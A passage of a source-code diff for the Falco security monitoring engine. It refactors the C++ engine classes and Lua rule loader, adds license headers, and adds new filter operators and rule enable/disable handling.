+falco is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License version 2 as
+published by the Free Software Foundation.
+
+falco is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with falco.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#include <fstream>
+
+#include "config_falco_engine.h"
+#include "falco_common.h"
+
+falco_common::falco_common()
+{
+	m_ls = lua_open();
+	luaL_openlibs(m_ls);
+}
+
+falco_common::~falco_common()
+{
+	if(m_ls)
+	{
+		lua_close(m_ls);
+	}
+}
+
+void falco_common::set_inspector(sinsp *inspector)
+{
+	m_inspector = inspector;
+}
+
+void falco_common::init(const char *lua_main_filename, const char *source_dir)
+{
+	ifstream is;
+	string lua_dir = FALCO_ENGINE_LUA_DIR;
+	string lua_main_path = lua_dir + lua_main_filename;
+
+	is.open(lua_main_path);
+	if (!is.is_open())
+	{
+		lua_dir = source_dir;
+		lua_main_path = lua_dir + lua_main_filename;
+
+		is.open(lua_main_path);
+		if (!is.is_open())
+		{
+			throw falco_exception("Could not find Falco Lua entrypoint (tried " +
+					      string(FALCO_ENGINE_LUA_DIR) + lua_main_filename + ", " +
+					      string(source_dir) + lua_main_filename + ")");
+		}
+	}
+
+	// Initialize Lua interpreter
+	add_lua_path(lua_dir);
+
+	// Load the main program, which defines all the available functions.
+	string scriptstr((istreambuf_iterator<char>(is)),
+			 istreambuf_iterator<char>());
+
+	if(luaL_loadstring(m_ls, scriptstr.c_str()) || lua_pcall(m_ls, 0, 0, 0))
+	{
+		throw falco_exception("Failed to load script " +
+			lua_main_path + ": " + lua_tostring(m_ls, -1));
+	}
+}
+
+void falco_common::add_lua_path(string &path)
+{
+	string cpath = string(path);
+	path += "?.lua";
+	cpath += "?.so";
+
+	lua_getglobal(m_ls, "package");
+
+	lua_getfield(m_ls, -1, "path");
+	string cur_path = lua_tostring(m_ls, -1 );
+	cur_path += ';';
+	lua_pop(m_ls, 1);
+
+	cur_path.append(path.c_str());
+
+	lua_pushstring(m_ls, cur_path.c_str());
+	lua_setfield(m_ls, -2, "path");
+
+	lua_getfield(m_ls, -1, "cpath");
+	string cur_cpath = lua_tostring(m_ls, -1 );
+	cur_cpath += ';';
+	lua_pop(m_ls, 1);
+
+	cur_cpath.append(cpath.c_str());
+
+	lua_pushstring(m_ls, cur_cpath.c_str());
+	lua_setfield(m_ls, -2, "cpath");
+
+	lua_pop(m_ls, 1);
+}
+

userspace/engine/falco_common.h

@@ -0,0 +1,87 @@
+/*
+Copyright (C) 2016 Draios inc.
+
+This file is part of falco.
+
+falco is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License version 2 as
+published by the Free Software Foundation.
+
+falco is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with falco.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#pragma once
+
+#include <string>
+#include <exception>
+
+extern "C" {
+#include "lua.h"
+#include "lualib.h"
+#include "lauxlib.h"
+}
+
+#include <sinsp.h>
+
+//
+// Most falco_* classes can throw exceptions. Unless directly related
+// to low-level failures like inability to open file, etc, they will
+// be of this type.
+//
+
+struct falco_exception : std::exception
+{
+	falco_exception()
+	{
+	}
+
+	virtual ~falco_exception() throw()
+	{
+	}
+
+	falco_exception(std::string error_str)
+	{
+		m_error_str = error_str;
+	}
+
+	char const* what() const throw()
+	{
+		return m_error_str.c_str();
+	}
+
+	std::string m_error_str;
+};
+
+//
+// This is the base class of falco_engine/falco_output. It is
+// responsible for managing a lua state and associated inspector and
+// loading a single "main" lua file into that state.
+//
+
+class falco_common
+{
+public:
+	falco_common();
+	virtual ~falco_common();
+
+	void init(const char *lua_main_filename, const char *source_dir);
+
+	void set_inspector(sinsp *inspector);
+
+protected:
+	lua_State *m_ls;
+
+	sinsp *m_inspector;
+
+private:
+	void add_lua_path(std::string &path);
+};
+
+
+

userspace/engine/falco_engine.cpp

@@ -0,0 +1,219 @@
+/*
+Copyright (C) 2016 Draios inc.
+
+This file is part of falco.
+
+falco is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License version 2 as
+published by the Free Software Foundation.
+
+falco is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with falco.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#include <cstdlib>
+#include <unistd.h>
+#include <string>
+#include <fstream>
+
+#include "falco_engine.h"
+#include "config_falco_engine.h"
+
+#include "formats.h"
+
+extern "C" {
+#include "lpeg.h"
+#include "lyaml.h"
+}
+
+#include "utils.h"
+
+
+string lua_on_event = "on_event";
+string lua_print_stats = "print_stats";
+
+using namespace std;
+
+falco_engine::falco_engine(bool seed_rng)
+	: m_rules(NULL), m_sampling_ratio(1), m_sampling_multiplier(0),
+	  m_replace_container_info(false)
+{
+	luaopen_lpeg(m_ls);
+	luaopen_yaml(m_ls);
+
+	falco_common::init(m_lua_main_filename.c_str(), FALCO_ENGINE_SOURCE_LUA_DIR);
+	falco_rules::init(m_ls);
+
+	if(seed_rng)
+	{
+		srandom((unsigned) getpid());
+	}
+}
+
+falco_engine::~falco_engine()
+{
+	if (m_rules)
+	{
+		delete m_rules;
+	}
+}
+
+void falco_engine::load_rules(const string &rules_content, bool verbose, bool all_events)
+{
+	// The engine must have been given an inspector by now.
+	if(! m_inspector)
+	{
+		throw falco_exception("No inspector provided");
+	}
+
+	if(!m_rules)
+	{
+		m_rules = new falco_rules(m_inspector, this, m_ls);
+	}
+
+	// Note that falco_formats is added to both the lua state used
+	// by the falco engine as well as the separate lua state used
+	// by falco outputs.  Within the engine, only
+	// formats.formatter is used, so we can unconditionally set
+	// json_output to false.
+	bool json_output = false;
+	falco_formats::init(m_inspector, m_ls, json_output);
+
+	m_rules->load_rules(rules_content, verbose, all_events, m_extra, m_replace_container_info);
+}
+
+void falco_engine::load_rules_file(const string &rules_filename, bool verbose, bool all_events)
+{
+	ifstream is;
+
+	is.open(rules_filename);
+	if (!is.is_open())
+	{
+		throw falco_exception("Could not open rules filename " +
+				      rules_filename + " " +
+				      "for reading");
+	}
+
+	string rules_content((istreambuf_iterator<char>(is)),
+			     istreambuf_iterator<char>());
+
+	load_rules(rules_content, verbose, all_events);
+}
+
+void falco_engine::enable_rule(string &pattern, bool enabled)
+{
+	m_evttype_filter.enable(pattern, enabled);
+}
+
+unique_ptr<falco_engine::rule_result> falco_engine::process_event(sinsp_evt *ev)
+{
+
+	if(should_drop_evt())
+	{
+		return unique_ptr<struct rule_result>();
+	}
+
+	if(!m_evttype_filter.run(ev))
+	{
+		return unique_ptr<struct rule_result>();
+	}
+
+	unique_ptr<struct rule_result> res(new rule_result());
+
+	lua_getglobal(m_ls, lua_on_event.c_str());
+
+	if(lua_isfunction(m_ls, -1))
+	{
+		lua_pushlightuserdata(m_ls, ev);
+		lua_pushnumber(m_ls, ev->get_check_id());
+
+		if(lua_pcall(m_ls, 2, 3, 0) != 0)
+		{
+			const char* lerr = lua_tostring(m_ls, -1);
+			string err = "Error invoking function output: " + string(lerr);
+			throw falco_exception(err);
+		}
+		res->evt = ev;
+		const char *p =  lua_tostring(m_ls, -3);
+		res->rule = p;
+		res->priority = lua_tostring(m_ls, -2);
+		res->format = lua_tostring(m_ls, -1);
+		lua_pop(m_ls, 3);
+	}
+	else
+	{
+		throw falco_exception("No function " + lua_on_event + " found in lua compiler module");
+	}
+
+	return res;
+}
+
+void falco_engine::describe_rule(string *rule)
+{
+	return m_rules->describe_rule(rule);
+}
+
+// Print statistics on the the rules that triggered
+void falco_engine::print_stats()
+{
+	lua_getglobal(m_ls, lua_print_stats.c_str());
+
+	if(lua_isfunction(m_ls, -1))
+	{
+		if(lua_pcall(m_ls, 0, 0, 0) != 0)
+		{
+			const char* lerr = lua_tostring(m_ls, -1);
+			string err = "Error invoking function print_stats: " + string(lerr);
+			throw falco_exception(err);
+		}
+	}
+	else
+	{
+		throw falco_exception("No function " + lua_print_stats + " found in lua rule loader module");
+	}
+
+}
+
+void falco_engine::add_evttype_filter(string &rule,
+				      list<uint32_t> &evttypes,
+				      sinsp_filter* filter)
+{
+	m_evttype_filter.add(rule, evttypes, filter);
+}
+
+void falco_engine::set_sampling_ratio(uint32_t sampling_ratio)
+{
+	m_sampling_ratio = sampling_ratio;
+}
+
+void falco_engine::set_sampling_multiplier(double sampling_multiplier)
+{
+	m_sampling_multiplier = sampling_multiplier;
+}
+
+void falco_engine::set_extra(string &extra, bool replace_container_info)
+{
+	m_extra = extra;
+	m_replace_container_info = replace_container_info;
+}
+
+inline bool falco_engine::should_drop_evt()
+{
+	if(m_sampling_multiplier == 0)
+	{
+		return false;
+	}
+
+	if(m_sampling_ratio == 1)
+	{
+		return false;
+	}
+
+	double coin = (random() * (1.0/RAND_MAX));
+	return (coin >= (1.0/(m_sampling_multiplier * m_sampling_ratio)));
+}

userspace/engine/falco_engine.h

@@ -0,0 +1,149 @@
+/*
+Copyright (C) 2016 Draios inc.
+
+This file is part of falco.
+
+falco is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License version 2 as
+published by the Free Software Foundation.
+
+falco is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with falco.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#pragma once
+
+#include <string>
+
+#include "sinsp.h"
+#include "filter.h"
+
+#include "rules.h"
+
+#include "falco_common.h"
+
+//
+// This class acts as the primary interface between a program and the
+// falco rules engine. Falco outputs (writing to files/syslog/etc) are
+// handled in a separate class falco_outputs.
+//
+
+class falco_engine : public falco_common
+{
+public:
+	falco_engine(bool seed_rng=true);
+	virtual ~falco_engine();
+
+	//
+	// Load rules either directly or from a filename.
+	//
+	void load_rules_file(const std::string &rules_filename, bool verbose, bool all_events);
+	void load_rules(const std::string &rules_content, bool verbose, bool all_events);
+
+	//
+	// Enable/Disable any rules matching the provided pattern (regex).
+	//
+	void enable_rule(std::string &pattern, bool enabled);
+
+	struct rule_result {
+		sinsp_evt *evt;
+		std::string rule;
+		std::string priority;
+		std::string format;
+	};
+
+	//
+	// Given an event, check it against the set of rules in the
+	// engine and if a matching rule is found, return details on
+	// the rule that matched. If no rule matched, returns NULL.
+	//
+	// the reutrned rule_result is allocated and must be delete()d.
+	std::unique_ptr<rule_result> process_event(sinsp_evt *ev);
+
+	//
+	// Print details on the given rule. If rule is NULL, print
+	// details on all rules.
+	//
+	void describe_rule(std::string *rule);
+
+	//
+	// Print statistics on how many events matched each rule.
+	//
+	void print_stats();
+
+	//
+	// Add a filter, which is related to the specified list of
+	// event types, to the engine.
+	//
+	void add_evttype_filter(std::string &rule,
+				list<uint32_t> &evttypes,
+				sinsp_filter* filter);
+
+	//
+	// Set the sampling ratio, which can affect which events are
+	// matched against the set of rules.
+	//
+	void set_sampling_ratio(uint32_t sampling_ratio);
+
+	//
+	// Set the sampling ratio multiplier, which can affect which
+	// events are matched against the set of rules.
+	//
+	void set_sampling_multiplier(double sampling_multiplier);
+
+	//
+	// You can optionally add "extra" formatting fields to the end
+	// of all output expressions. You can also choose to replace
+	// %container.info with the extra information or add it to the
+	// end of the expression. This is used in open source falco to
+	// add k8s/mesos/container information to outputs when
+	// available.
+	//
+	void set_extra(string &extra, bool replace_container_info);
+
+private:
+
+	//
+	// Determine whether the given event should be matched at all
+	// against the set of rules, given the current sampling
+	// ratio/multiplier.
+	//
+	inline bool should_drop_evt();
+
+	falco_rules *m_rules;
+        sinsp_evttype_filter m_evttype_filter;
+
+	//
+	// Here's how the sampling ratio and multiplier influence
+	// whether or not an event is dropped in
+	// should_drop_evt(). The intent is that m_sampling_ratio is
+	// generally changing external to the engine e.g. in the main
+	// inspector class based on how busy the inspector is. A
+	// sampling ratio implies no dropping. Values > 1 imply
+	// increasing levels of dropping. External to the engine, the
+	// sampling ratio results in events being dropped at the
+	// kernel/inspector interface.
+	//
+	// The sampling multiplier is an amplification to the sampling
+	// factor in m_sampling_ratio. If 0, no additional events are
+	// dropped other than those that might be dropped by the
+	// kernel/inspector interface. If 1, events that make it past
+	// the kernel module are subject to an additional level of
+	// dropping at the falco engine, scaling with the sampling
+	// ratio in m_sampling_ratio.
+	//
+
+	uint32_t m_sampling_ratio;
+	double m_sampling_multiplier;
+
+	std::string m_lua_main_filename = "rule_loader.lua";
+
+	std::string m_extra;
+	bool m_replace_container_info;
+};
+

userspace/engine/formats.cpp

@@ -1,7 +1,26 @@
+/*
+Copyright (C) 2016 Draios inc.
+
+This file is part of falco.
+
+falco is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License version 2 as
+published by the Free Software Foundation.
+
+falco is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with falco.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
 #include <json/json.h>
 
 #include "formats.h"
 #include "logger.h"
+#include "falco_engine.h"
 
 
 sinsp* falco_formats::s_inspector = NULL;
@@ -10,6 +29,7 @@ bool s_json_output = false;
 const static struct luaL_reg ll_falco [] =
 {
 	{"formatter", &falco_formats::formatter},
+	{"free_formatter", &falco_formats::free_formatter},
 	{"format_event", &falco_formats::format_event},
 	{NULL,NULL}
 };
@@ -19,7 +39,7 @@ void falco_formats::init(sinsp* inspector, lua_State *ls, bool json_output)
 	s_inspector = inspector;
 	s_json_output = json_output;
 
-	luaL_openlib(ls, "falco", ll_falco, 0);
+	luaL_openlib(ls, "formats", ll_falco, 0);
 }
 
 int falco_formats::formatter(lua_State *ls)
@@ -29,19 +49,30 @@ int falco_formats::formatter(lua_State *ls)
 	try
 	{
 		formatter = new sinsp_evt_formatter(s_inspector, format);
+		lua_pushlightuserdata(ls, formatter);
 	}
 	catch(sinsp_exception& e)
 	{
-		falco_logger::log(LOG_ERR, "Invalid output format '" + format + "'.\n");
-
-		throw sinsp_exception("set_formatter error");
+		luaL_error(ls, "Invalid output format '%s': '%s'", format.c_str(), e.what());
 	}
 
-	lua_pushlightuserdata(ls, formatter);
-
 	return 1;
 }
 
+int falco_formats::free_formatter(lua_State *ls)
+{
+	if (!lua_islightuserdata(ls, -1))
+	{
+		luaL_error(ls, "Invalid argument passed to free_formatter");
+	}
+
+	sinsp_evt_formatter *formatter = (sinsp_evt_formatter *) lua_topointer(ls, 1);
+
+	delete(formatter);
+
+	return 0;
+}
+
 int falco_formats::format_event (lua_State *ls)
 {
 	string line;
@@ -50,8 +81,7 @@ int falco_formats::format_event (lua_State *ls)
 	    !lua_isstring(ls, -2) ||
 	    !lua_isstring(ls, -3) ||
 	    !lua_islightuserdata(ls, -4)) {
-		falco_logger::log(LOG_ERR, "Invalid arguments passed to format_event()\n");
-		throw sinsp_exception("format_event error");
+		throw falco_exception("Invalid arguments passed to format_event()\n");
 	}
 	sinsp_evt* evt = (sinsp_evt*)lua_topointer(ls, 1);
 	const char *rule = (char *) lua_tostring(ls, 2);

userspace/engine/formats.h

@@ -0,0 +1,46 @@
+/*
+Copyright (C) 2016 Draios inc.
+
+This file is part of falco.
+
+falco is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License version 2 as
+published by the Free Software Foundation.
+
+falco is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with falco.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#pragma once
+
+#include "sinsp.h"
+
+extern "C" {
+#include "lua.h"
+#include "lualib.h"
+#include "lauxlib.h"
+}
+
+class sinsp_evt_formatter;
+
+class falco_formats
+{
+ public:
+	static void init(sinsp* inspector, lua_State *ls, bool json_output);
+
+	// formatter = falco.formatter(format_string)
+	static int formatter(lua_State *ls);
+
+	// falco.free_formatter(formatter)
+	static int free_formatter(lua_State *ls);
+
+	// formatted_string = falco.format_event(evt, formatter)
+	static int format_event(lua_State *ls);
+
+	static sinsp* s_inspector;
+};

userspace/engine/lua/compiler.lua

@@ -1,3 +1,20 @@
+--
+-- Copyright (C) 2016 Draios inc.
+--
+-- This file is part of falco.
+--
+-- falco is free software; you can redistribute it and/or modify
+-- it under the terms of the GNU General Public License version 2 as
+-- published by the Free Software Foundation.
+--
+-- falco is distributed in the hope that it will be useful,
+-- but WITHOUT ANY WARRANTY; without even the implied warranty of
+-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+-- GNU General Public License for more details.
+--
+-- You should have received a copy of the GNU General Public License
+-- along with falco.  If not, see <http://www.gnu.org/licenses/>.
+
 local parser = require("parser")
 local compiler = {}
 
@@ -143,7 +160,7 @@ function check_for_ignored_syscalls_events(ast, filter_type, source)
 	 (node.left.value == "evt.type" or
 	  node.left.value == "syscall.type") then
 
-	    if node.operator == "in" then
+	    if node.operator == "in" or node.operator == "pmatch" then
 	       for i, v in ipairs(node.right.elements) do
 		  if v.type == "BareString" then
 		     if node.left.value == "evt.type" then
@@ -200,7 +217,7 @@ function get_evttypes(name, ast, source)
 	    if found_not then
 	       found_event_after_not = true
 	    end
-	    if node.operator == "in" then
+	    if node.operator == "in" or node.operator == "pmatch" then
 	       for i, v in ipairs(node.right.elements) do
 		  if v.type == "BareString" then
 		     evtnames[v.value] = 1
@@ -273,8 +290,8 @@ function compiler.compile_macro(line, list_defs)
    local ast, error_msg = parser.parse_filter(line)
 
    if (error_msg) then
-      print ("Compilation error: ", error_msg)
-      error(error_msg)
+      msg = "Compilation error when compiling \""..line.."\": ".. error_msg
+      error(msg)
    end
 
    -- Traverse the ast looking for events/syscalls in the ignored
@@ -298,8 +315,8 @@ function compiler.compile_filter(name, source, macro_defs, list_defs)
    local ast, error_msg = parser.parse_filter(source)
 
    if (error_msg) then
-      print ("Compilation error: ", error_msg)
-      error(error_msg)
+      msg = "Compilation error when compiling \""..source.."\": "..error_msg
+      error(msg)
    end
 
    -- Traverse the ast looking for events/syscalls in the ignored

userspace/engine/lua/parser.lua

@@ -1,3 +1,20 @@
+--
+-- Copyright (C) 2016 Draios inc.
+--
+-- This file is part of falco.
+--
+-- falco is free software; you can redistribute it and/or modify
+-- it under the terms of the GNU General Public License version 2 as
+-- published by the Free Software Foundation.
+--
+-- falco is distributed in the hope that it will be useful,
+-- but WITHOUT ANY WARRANTY; without even the implied warranty of
+-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+-- GNU General Public License for more details.
+--
+-- You should have received a copy of the GNU General Public License
+-- along with falco.  If not, see <http://www.gnu.org/licenses/>.
+
 --[[
    Falco grammar and parser.
 
@@ -199,6 +216,7 @@ local G = {
   RelationalExpression =
      rel(terminal "FieldName", V"RelOp", V"Value") +
      rel(terminal "FieldName", V"InOp", V"InList") +
+     rel(terminal "FieldName", V"PmatchOp", V"InList") +
      V"PrimaryExp";
 
   PrimaryExp = symb("(") * V"Filter" * symb(")");
@@ -218,14 +236,16 @@ local G = {
   idRest = alnum + P("_");
   Identifier = V"idStart" * V"idRest"^0;
   Macro = V"idStart" * V"idRest"^0 * -P".";
-  FieldName = V"Identifier" * (P"." + V"Identifier")^1 * (P"[" * V"Int" * P"]")^-1;
+  Int = digit^1;
+  PathString = (alnum + S'-_/*?')^1;
+  Index = V"Int" + V"PathString";
+  FieldName = V"Identifier" * (P"." + V"Identifier")^1 * (P"[" * V"Index" * P"]")^-1;
   Name = C(V"Identifier") * -V"idRest";
   Hex = (P("0x") + P("0X")) * xdigit^1;
   Expo = S("eE") * S("+-")^-1 * digit^1;
   Float = (((digit^1 * P(".") * digit^0) +
           (P(".") * digit^1)) * V"Expo"^-1) +
           (digit^1 * V"Expo");
-  Int = digit^1;
   Number = C(V"Hex" + V"Float" + V"Int") /
            function (n) return tonumber(n) end;
   String = (P'"' * C(((P'\\' * P(1)) + (P(1) - P'"'))^0) * P'"' +  P"'" * C(((P"\\" * P(1)) + (P(1) - P"'"))^0) * P"'")  / function (s) return fix_str(s) end;
@@ -243,8 +263,10 @@ local G = {
           symb(">") / ">" +
           symb("contains") / "contains" +
           symb("icontains") / "icontains" +
+          symb("glob") / "glob" +
           symb("startswith") / "startswith";
   InOp = kw("in") / "in";
+  PmatchOp = kw("pmatch") / "pmatch";
   UnaryBoolOp = kw("not") / "not";
   ExistsOp = kw("exists") / "exists";
 

userspace/engine/lua/rule_loader.lua

@@ -1,3 +1,20 @@
+--
+-- Copyright (C) 2016 Draios inc.
+--
+-- This file is part of falco.
+--
+-- falco is free software; you can redistribute it and/or modify
+-- it under the terms of the GNU General Public License version 2 as
+-- published by the Free Software Foundation.
+--
+-- falco is distributed in the hope that it will be useful,
+-- but WITHOUT ANY WARRANTY; without even the implied warranty of
+-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+-- GNU General Public License for more details.
+--
+-- You should have received a copy of the GNU General Public License
+-- along with falco.  If not, see <http://www.gnu.org/licenses/>.
+
 --[[
    Compile and install falco rules.
 
@@ -5,7 +22,6 @@
 
 --]]
 
-local output = require('output')
 local compiler = require "compiler"
 local yaml = require"lyaml"
 
@@ -73,7 +89,7 @@ local function install_filter(node, parent_bool_op)
       filter.unnest() -- io.write(")")
 
    elseif t == "BinaryRelOp" then
-      if (node.operator == "in") then
+      if (node.operator == "in" or node.operator == "pmatch") then
 	 elements = map(function (el) return el.value end, node.right.elements)
 	 filter.rel_expr(node.left.value, node.operator, elements, node.index)
       else
@@ -101,31 +117,66 @@ function set_output(output_format, state)
    end
 end
 
-local function priority(s)
-   s = string.lower(s)
-   for i,v in ipairs(output.levels) do
-      if (string.find(string.lower(v), "^"..s)) then
-	 return i - 1 -- (syslog levels start at 0, lua indices start at 1)
-      end
-   end
-   error("Invalid severity level: "..s)
-end
-
 -- Note that the rules_by_name and rules_by_idx refer to the same rule
 -- object. The by_name index is used for things like describing rules,
 -- and the by_idx index is used to map the relational node index back
 -- to a rule.
 local state = {macros={}, lists={}, filter_ast=nil, rules_by_name={}, n_rules=0, rules_by_idx={}}
 
-function load_rules(filename, rules_mgr, verbose, all_events)
+-- From http://lua-users.org/wiki/TableUtils
+--
+function table.val_to_str ( v )
+  if "string" == type( v ) then
+    v = string.gsub( v, "\n", "\\n" )
+    if string.match( string.gsub(v,"[^'\"]",""), '^"+$' ) then
+      return "'" .. v .. "'"
+    end
+    return '"' .. string.gsub(v,'"', '\\"' ) .. '"'
+  else
+    return "table" == type( v ) and table.tostring( v ) or
+      tostring( v )
+  end
+end
+
+function table.key_to_str ( k )
+  if "string" == type( k ) and string.match( k, "^[_%a][_%a%d]*$" ) then
+    return k
+  else
+    return "[" .. table.val_to_str( k ) .. "]"
+  end
+end
+
+function table.tostring( tbl )
+  local result, done = {}, {}
+  for k, v in ipairs( tbl ) do
+    table.insert( result, table.val_to_str( v ) )
+    done[ k ] = true
+  end
+  for k, v in pairs( tbl ) do
+    if not done[ k ] then
+      table.insert( result,
+        table.key_to_str( k ) .. "=" .. table.val_to_str( v ) )
+    end
+  end
+  return "{" .. table.concat( result, "," ) .. "}"
+end
+
+
+function load_rules(rules_content, rules_mgr, verbose, all_events, extra, replace_container_info)
 
    compiler.set_verbose(verbose)
    compiler.set_all_events(all_events)
 
-   local f = assert(io.open(filename, "r"))
-   local s = f:read("*all")
-   f:close()
-   local rules = yaml.load(s)
+   local rules = yaml.load(rules_content)
+
+   if rules == nil then
+      -- An empty rules file is acceptable
+      return
+   end
+
+   if type(rules) ~= "table" then
+      error("Rules content \""..rules_content.."\" is not yaml")
+   end
 
    for i,v in ipairs(rules) do -- iterate over yaml list
 
@@ -156,9 +207,9 @@ function load_rules(filename, rules_mgr, verbose, all_events)
 
 	 state.lists[v['list']] = items
 
-      else -- rule
+      elseif (v['rule']) then
 
-	 if (v['rule'] == nil) then
+	 if (v['rule'] == nil or type(v['rule']) == "table") then
 	    error ("Missing name in rule")
 	 end
 
@@ -168,8 +219,6 @@ function load_rules(filename, rules_mgr, verbose, all_events)
 	    end
 	 end
 
-	 -- Convert the priority as a string to a level now
-	 v['level'] = priority(v['priority'])
 	 state.rules_by_name[v['rule']] = v
 
 	 local filter_ast, evttypes = compiler.compile_filter(v['rule'], v['condition'],
@@ -190,7 +239,7 @@ function load_rules(filename, rules_mgr, verbose, all_events)
 	    install_filter(filter_ast.filter.value)
 
 	    -- Pass the filter and event types back up
-	    falco_rules.add_filter(rules_mgr, evttypes)
+	    falco_rules.add_filter(rules_mgr, v['rule'], evttypes)
 
 	    -- Rule ASTs are merged together into one big AST, with "OR" between each
 	    -- rule.
@@ -199,9 +248,50 @@ function load_rules(filename, rules_mgr, verbose, all_events)
 	    else
 	       state.filter_ast = { type = "BinaryBoolOp", operator = "or", left = state.filter_ast, right = filter_ast.filter.value }
 	    end
+
+	    -- Enable/disable the rule
+	    if (v['enabled'] == nil) then
+	       v['enabled'] = true
+	    end
+
+	    if (v['enabled'] == false) then
+	       falco_rules.enable_rule(rules_mgr, v['rule'], 0)
+	    end
+
+	    -- If the format string contains %container.info, replace it
+	    -- with extra. Otherwise, add extra onto the end of the format
+	    -- string.
+	    if string.find(v['output'], "%container.info", nil, true) ~= nil then
+
+		-- There may not be any extra, or we're not supposed
+		-- to replace it, in which case we use the generic
+		-- "%container.name (id=%container.id)"
+	       if replace_container_info == false then
+		  v['output'] = string.gsub(v['output'], "%%container.info", "%%container.name (id=%%container.id)")
+		  if extra ~= "" then
+		     v['output'] = v['output'].." "..extra
+		  end
+	       else
+		  safe_extra = string.gsub(extra, "%%", "%%%%")
+		  v['output'] = string.gsub(v['output'], "%%container.info", safe_extra)
+	       end
+	    else
+	       -- Just add the extra to the end
+		if extra ~= "" then
+		   v['output'] = v['output'].." "..extra
+		end
+	    end
+
+	    -- Ensure that the output field is properly formatted by
+	    -- creating a formatter from it. Any error will be thrown
+	    -- up to the top level.
+	    formatter = formats.formatter(v['output'])
+	    formats.free_formatter(formatter)
 	 else
 	    error ("Unexpected type in load_rule: "..filter_ast.type)
 	 end
+      else
+	 error ("Unknown rule object: "..table.tostring(v))
       end
    end
 
@@ -256,11 +346,7 @@ function describe_rule(name)
    end
 end
 
-local rule_output_counts = {total=0, by_level={}, by_name={}}
-
-for idx=0,table.getn(output.levels)-1,1 do
-   rule_output_counts.by_level[idx] = 0
-end
+local rule_output_counts = {total=0, by_priority={}, by_name={}}
 
 function on_event(evt_, rule_id)
 
@@ -271,10 +357,10 @@ function on_event(evt_, rule_id)
    rule_output_counts.total = rule_output_counts.total + 1
    local rule = state.rules_by_idx[rule_id]
 
-   if rule_output_counts.by_level[rule.level] == nil then
-      rule_output_counts.by_level[rule.level] = 1
+   if rule_output_counts.by_priority[rule.priority] == nil then
+      rule_output_counts.by_priority[rule.priority] = 1
    else
-      rule_output_counts.by_level[rule.level] = rule_output_counts.by_level[rule.level] + 1
+      rule_output_counts.by_priority[rule.priority] = rule_output_counts.by_priority[rule.priority] + 1
    end
 
    if rule_output_counts.by_name[rule.rule] == nil then
@@ -283,17 +369,14 @@ function on_event(evt_, rule_id)
       rule_output_counts.by_name[rule.rule] = rule_output_counts.by_name[rule.rule] + 1
    end
 
-   output.event(evt_, rule.rule, rule.level, rule.output)
+   return rule.rule, rule.priority, rule.output
 end
 
 function print_stats()
    print("Events detected: "..rule_output_counts.total)
    print("Rule counts by severity:")
-   for idx, level in ipairs(output.levels) do
-      -- To keep the output concise, we only print 0 counts for error, warning, and info levels
-      if rule_output_counts.by_level[idx-1] > 0 or level == "Error" or level == "Warning" or level == "Informational" then
-	 print ("   "..level..": "..rule_output_counts.by_level[idx-1])
-      end
+   for priority, count in pairs(rule_output_counts.by_priority) do
+      print ("   "..priority..": "..count)
    end
 
    print("Triggered rules by rule name:")

userspace/engine/rules.cpp

@@ -1,3 +1,21 @@
+/*
+Copyright (C) 2016 Draios inc.
+
+This file is part of falco.
+
+falco is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License version 2 as
+published by the Free Software Foundation.
+
+falco is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with falco.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
 #include "rules.h"
 #include "logger.h"
 
@@ -7,20 +25,18 @@ extern "C" {
 #include "lauxlib.h"
 }
 
+#include "falco_engine.h"
 const static struct luaL_reg ll_falco_rules [] =
 {
 	{"add_filter", &falco_rules::add_filter},
+	{"enable_rule", &falco_rules::enable_rule},
 	{NULL,NULL}
 };
 
-falco_rules::falco_rules(sinsp* inspector, lua_State *ls, string lua_main_filename)
+falco_rules::falco_rules(sinsp* inspector, falco_engine *engine, lua_State *ls)
+	: m_inspector(inspector), m_engine(engine), m_ls(ls)
 {
-        m_inspector = inspector;
-	m_ls = ls;
-
 	m_lua_parser = new lua_parser(inspector, m_ls);
-
-	load_compiler(lua_main_filename);
 }
 
 void falco_rules::init(lua_State *ls)
@@ -30,14 +46,15 @@ void falco_rules::init(lua_State *ls)
 
